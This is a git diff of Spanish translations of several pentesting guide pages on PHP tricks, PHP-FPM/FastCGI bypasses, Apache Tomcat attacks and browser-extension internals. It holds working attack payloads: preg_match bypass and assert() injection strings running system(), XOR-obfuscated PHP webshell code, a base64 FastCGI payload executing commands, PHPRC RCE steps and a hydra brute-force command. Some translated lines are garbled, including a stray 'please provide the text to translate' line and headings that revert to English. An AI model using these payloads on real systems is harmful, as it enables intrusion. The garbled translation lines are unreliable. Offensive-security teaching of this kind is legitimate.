Si puedes enviar a `preg_match()` una **entrada** **muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
|
||||
Si puedes enviar a `preg_match()` una **entrada válida muy grande**, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -109,12 +109,12 @@ Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wr
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
|
||||
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [se establece por defecto en 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
|
||||
|
||||
[Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\
|
||||
**Enviar una entrada que hiciera que la regex realizara 100_000+ recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devolviera `false`, haciendo que la aplicación pensara que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> flag :)**.
|
||||
|
||||
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\
|
||||
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) se establece por defecto en 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\
|
||||
Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
@ -142,21 +142,21 @@ header('Location: /index.php?page=default.html');
|
||||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Explotación de Traversal de Ruta e Inclusión de Archivos
|
||||
## Path Traversal and File Inclusion Exploitation
|
||||
|
||||
Verifica:
|
||||
Check:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/file-inclusion/
|
||||
{{#endref}}
|
||||
|
||||
## Más trucos
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables\*\* que se utilizan dentro del código.
|
||||
- **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables\*\* que se utilizan dentro del código.
|
||||
- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** configurando el valor de la cookie de la otra ruta.\
|
||||
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos las variables de path1 (dándole a la cookie el nombre que le corresponde en path2).
|
||||
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos los variables de path1 (dándole a la cookie el nombre que le corresponde en path2).
|
||||
- Cuando tengas los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
|
||||
- [**LFI y RCE usando envoltorios php**](../../../pentesting-web/file-inclusion/)
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
@ -222,7 +222,7 @@ Esta opción de preg_replace ha sido **desaprobada a partir de PHP 5.5.0.**
|
||||
```
|
||||
### **RCE a través de Assert()**
|
||||
|
||||
Esta función dentro de php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
|
||||
Esta función dentro de php permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE** podrías hacer:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
@ -256,13 +256,13 @@ function foo($x,$y){
|
||||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
Puedes usar también **//** para comentar el resto del código.
|
||||
Puedes también usar **//** para comentar el resto del código.
|
||||
|
||||
Para descubrir el número de paréntesis que necesitas cerrar:
|
||||
|
||||
- `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falte uno o más corchetes.
|
||||
- `?order=id);}//`: obtenemos una **advertencia**. Eso parece correcto.
|
||||
- `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tenemos demasiados corchetes de cierre.
|
||||
- `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre.
|
||||
|
||||
### **RCE a través de .httaccess**
|
||||
|
||||
@ -274,11 +274,11 @@ Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireg
|
||||
|
||||
Si encuentras una vulnerabilidad que te permite **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez esto se pueda eludir), podrías abusar de este comportamiento para obtener **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione).
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
|
||||
- **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para apuntar a él. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el runtime de PHP antes de cualquier otro código.
|
||||
1. Sube un archivo PHP que contenga nuestro shellcode
|
||||
2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subiste en el paso 1
|
||||
3. Establece la variable `PHPRC` al archivo que subiste en el paso 2.
|
||||
2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
|
||||
3. Establece la variable `PHPRC` al archivo que subimos en el paso 2.
|
||||
- Obtén más información sobre cómo ejecutar esta cadena [**del informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - otra opción
|
||||
- Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
|
||||
@ -308,7 +308,7 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## Bypass de sanitización de PHP & Brain Fuck
|
||||
## Bypass de sanitización de PHP y Brain Fuck
|
||||
|
||||
[**En esta publicación**](https://blog.redteam-pentesting.de/2024/moodle-rce/) es posible encontrar grandes ideas para generar un código PHP de brain fuck con muy pocos caracteres permitidos.\
|
||||
Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias verificaciones:
|
||||
@ -329,9 +329,9 @@ Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresi
|
||||
|
||||
Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código php.**
|
||||
|
||||
## Envolturas y Protocolos PHP
|
||||
## Envolturas y Protocolos de PHP
|
||||
|
||||
Las envolturas y protocolos PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
Las envolturas y protocolos de PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## RCE no autenticada de Xdebug
|
||||
|
||||
@ -349,7 +349,7 @@ echo "${Da}"; //Drums
|
||||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE abusando de $\_GET\["a"]\($\_GET\["b")
|
||||
## RCE abusando de $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo:
|
||||
|
||||
@ -374,14 +374,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### Código de shell fácil XOR
|
||||
|
||||
Según [**este informe** ](https://mgp25.com/ctf/Web-challenge/) es posible generar un código de shell fácil de esta manera:
|
||||
Según [**este informe**](https://mgp25.com/ctf/Web-challenge/) es posible generar un shellcode fácil de esta manera:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Entonces, si puedes **ejecutar PHP arbitrario sin números y letras** puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
|
||||
Entonces, si puedes **ejecutar PHP arbitrario sin números ni letras**, puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
@ -22,7 +22,7 @@ Por ejemplo, cuando se accede al script CGI [http://mysitename.com/**cgi-bin/fil
|
||||
|
||||
[FastCGI](https://en.wikipedia.org/wiki/FastCGI) es una tecnología web más nueva, una versión mejorada de [CGI](http://en.wikipedia.org/wiki/Common_Gateway_Interface) ya que la funcionalidad principal sigue siendo la misma.
|
||||
|
||||
La necesidad de desarrollar FastCGI surge del rápido desarrollo y complejidad de las aplicaciones en la web, así como para abordar las deficiencias de escalabilidad de la tecnología CGI. Para satisfacer esos requisitos, [Open Market](http://en.wikipedia.org/wiki/Open_Market) introdujo **FastCGI – una versión de alto rendimiento de la tecnología CGI con capacidades mejoradas.**
|
||||
La necesidad de desarrollar FastCGI surge del rápido desarrollo y complejidad de las aplicaciones, así como para abordar las deficiencias de escalabilidad de la tecnología CGI. Para satisfacer esos requisitos, [Open Market](http://en.wikipedia.org/wiki/Open_Market) introdujo **FastCGI – una versión de alto rendimiento de la tecnología CGI con capacidades mejoradas.**
|
||||
|
||||
## disable_functions bypass
|
||||
|
||||
@ -37,7 +37,7 @@ Usando [Gopherus](https://github.com/tarunkant/Gopherus) puedes generar una carg
|
||||
|
||||
.png>)
|
||||
|
||||
Luego, puedes tomar la carga útil urlencoded y decodificarla y transformarla a base64, \[**usando esta receta de cyberchef, por ejemplo**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). Y luego copiar y pegar el base64 en este código php:
|
||||
Luego, puedes tomar la carga útil urlencoded y decodificarla y transformarla a base64, \[**usando esta receta de cyberchef, por ejemplo**]\([http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). Y luego copiar y pegar el base64 en este código php:
|
||||
```php
|
||||
<?php
|
||||
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
|
||||
@ -406,7 +406,7 @@ Usando la función anterior, verás que la función **`system`** está **todaví
|
||||
|
||||
.png>)
|
||||
|
||||
**Así que creo que solo puedes establecer `disable_functions` a través de archivos de configuración php `.ini` y que PHP_VALUE no anulará esa configuración.**
|
||||
**Así que creo que solo puedes establecer `disable_functions` a través de archivos de configuración php `.ini` y el PHP_VALUE no anulará esa configuración.**
|
||||
|
||||
### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)
|
||||
|
||||
@ -420,7 +420,7 @@ Encontrarás que el exploit es muy similar al código anterior, pero en lugar de
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> **NOTA2**: Logré hacer que esto funcionara insertando los valores de `extension_dir` y `extension` dentro de un archivo de configuración PHP `.ini` (algo que no podrás hacer atacando un servidor). Pero por alguna razón, al usar este exploit y cargar la extensión desde la variable `PHP_ADMIN_VALUE`, el proceso simplemente falló, así que no sé si esta técnica sigue siendo válida.
|
||||
> **NOTA2**: Logré hacer que esto funcionara insertando los valores de `extension_dir` y `extension` dentro de un archivo de configuración PHP `.ini` (algo que no podrás hacer atacando un servidor). Pero por alguna razón, al usar este exploit y cargar la extensión desde la variable `PHP_ADMIN_VALUE`, el proceso simplemente murió, así que no sé si esta técnica sigue siendo válida.
|
||||
|
||||
### Vulnerabilidad de Ejecución Remota de Código PHP-FPM (CVE-2019–11043)
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
Esto buscará el término "Tomcat" en la página de índice de la documentación, revelando la versión en la etiqueta de título de la respuesta HTML.
|
||||
Esto buscará el término "Tomcat" en la página de índice de documentación, revelando la versión en la etiqueta de título de la respuesta HTML.
|
||||
|
||||
### **Ubicación de Archivos del Administrador**
|
||||
|
||||
@ -52,7 +52,7 @@ Para intentar un ataque de fuerza bruta en el directorio del administrador, se p
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
Junto con la configuración de varios parámetros en Metasploit para dirigirse a un host específico.
|
||||
Along with setting various parameters in Metasploit to target a specific host.
|
||||
|
||||
## Vulnerabilidades Comunes
|
||||
|
||||
@ -107,7 +107,7 @@ Finalmente, si tienes acceso al Gestor de Aplicaciones Web de Tomcat, puedes **s
|
||||
|
||||
### Limitaciones
|
||||
|
||||
Solo podrás desplegar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver [POST ](./#post)section).
|
||||
Solo podrás desplegar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver [POST ](#post)section).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
@ -204,7 +204,7 @@ El nombre del archivo de credenciales de Tomcat es `tomcat-users.xml` y este arc
|
||||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
Ejemplo:
|
||||
Por favor, proporciona el texto que deseas traducir.
|
||||
```xml
|
||||
[...]
|
||||
<!--
|
||||
|
||||
@ -4,17 +4,17 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Las extensiones de navegador están escritas en JavaScript y se cargan en segundo plano por el navegador. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
|
||||
Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
|
||||
|
||||
## Componentes Principales
|
||||
|
||||
Los diseños de extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad.
|
||||
Los diseños de las extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad.
|
||||
|
||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Scripts de Contenido**
|
||||
|
||||
Cada script de contenido tiene acceso directo al DOM de una **única página web** y, por lo tanto, está expuesto a **entrada potencialmente maliciosa**. Sin embargo, el script de contenido no contiene permisos aparte de la capacidad de enviar mensajes al núcleo de la extensión.
|
||||
Cada script de contenido tiene acceso directo al DOM de una **única página web** y está expuesto a **entrada potencialmente maliciosa**. Sin embargo, el script de contenido no contiene permisos más allá de la capacidad de enviar mensajes al núcleo de la extensión.
|
||||
|
||||
### **Núcleo de la Extensión**
|
||||
|
||||
@ -22,14 +22,14 @@ El núcleo de la extensión contiene la mayoría de los privilegios/accesos de l
|
||||
|
||||
### **Binario Nativo**
|
||||
|
||||
La extensión permite un binario nativo que puede **acceder a la máquina host con todos los privilegios del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador.
|
||||
La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador.
|
||||
|
||||
### Límites
|
||||
|
||||
> [!CAUTION]
|
||||
> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
|
||||
|
||||
Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso de sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
|
||||
Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
|
||||
|
||||
Además, los scripts de contenido están separados de sus páginas web asociadas al **ejecutarse en un montón de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero los dos **nunca intercambian punteros de JavaScript**, lo que previene la filtración de funcionalidad de JavaScript.
|
||||
|
||||
@ -61,7 +61,7 @@ Ejemplo:
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
|
||||
Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
@ -95,7 +95,7 @@ Un mensaje se envía a las páginas de la extensión por el script de contenido
|
||||
|
||||
> [!WARNING]
|
||||
> Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\
|
||||
> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y retransmitir respuestas.
|
||||
> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
|
||||
|
||||
Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O presionando Ctrl + Shift + I.
|
||||
|
||||
@ -104,7 +104,7 @@ Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en
|
||||
### Scripts de contenido inyectados
|
||||
|
||||
> [!TIP]
|
||||
